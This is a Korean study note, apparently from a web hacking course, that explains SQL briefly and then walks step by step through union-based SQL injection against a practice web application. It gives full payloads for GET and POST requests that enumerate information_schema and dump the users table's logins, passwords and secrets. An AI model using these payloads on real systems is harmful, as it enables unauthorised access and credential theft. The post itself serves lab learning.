본문 바로가기

카테고리 없음

5주차_웹해킹

SQL

구조적 쿼리 언어(SQL)는 관계형 데이터베이스에 정보를 저장하고 처리하기 위한 프로그래밍 언어이다

 

SQL 테이블은 관계형 데이터베이스의 기본 요소다. SQL 데이터베이스 테이블은 행과 열로 구성다. 데이터베이스 엔지니어는 여러 데이터베이스 테이블 간의 관계를 생성하여 데이터 스토리지 공간을 최적화합니다.

 

SQL 문 또는 SQL 쿼리는 관계형 데이터베이스 관리 시스템에서 이해하는 유효한 명령이다. 소프트웨어 개발자는 다양한 SQL 언어 요소를 사용하여 SQL 문을 작성한다. SQL 언어 요소는 올바른 SQL 문을 구성하는 식별자, 변수 및 검색 조건과 같은 구성 요소다.

GET

데이터베이스에서 작은 따음표로 (')로 문자 데이터를 구분하기 때문에, 작은 따음표를 입력해본다. 해당 사진과 같이 오류가 난 것을 확인할 수 있으며 서버는 MySQL임을 알 수 있다.

' or 1=1#을 입력하면 위와같이 출력된다.

 그 뒤로는  'UNION SELECT 1#을 이용하여 숫자를 차례대로 들려가며 될 때 까지 해봅니다.

 'UNION SELECT 1, 2 3 4 5 6 7#을 하면 아래와 같이 나옵니다.

‘UNION SELECT ALL 1, table_name,3,4,5,6,7 from information_schema.tables#를 입력하면 아래와 같은 결과를 얻을 수 있다.

0'UNION ALL  SELECT 1, column_name, 3, 4, 5, 6, 7 from information_schema.columns where table_name='users'#을 입력하면 아래와 같다.

0'UNION ALL SELECT 1, id, login, email, password, 6, 7 from users#을 입력하면 다음과 같이 나타난다.

 

POST

'을 입력하면 다음과 같이 나온다.

title 부분을 아래와 같이 고친다.

 

 

그리고 0'UNION ALL SELECT 1, column_name, 3, 4, 5, 6, 7 from information_schema.columnswhere table_name=users#와 같이 입력한다.

 

 

id와 password를 알아내기 위해 다음과 같이 입력한다.

0' union select all 1, id, login, password, secret,6,7 from users#

웹사이트에 입력하면 bug라는 걸 알 수 있다.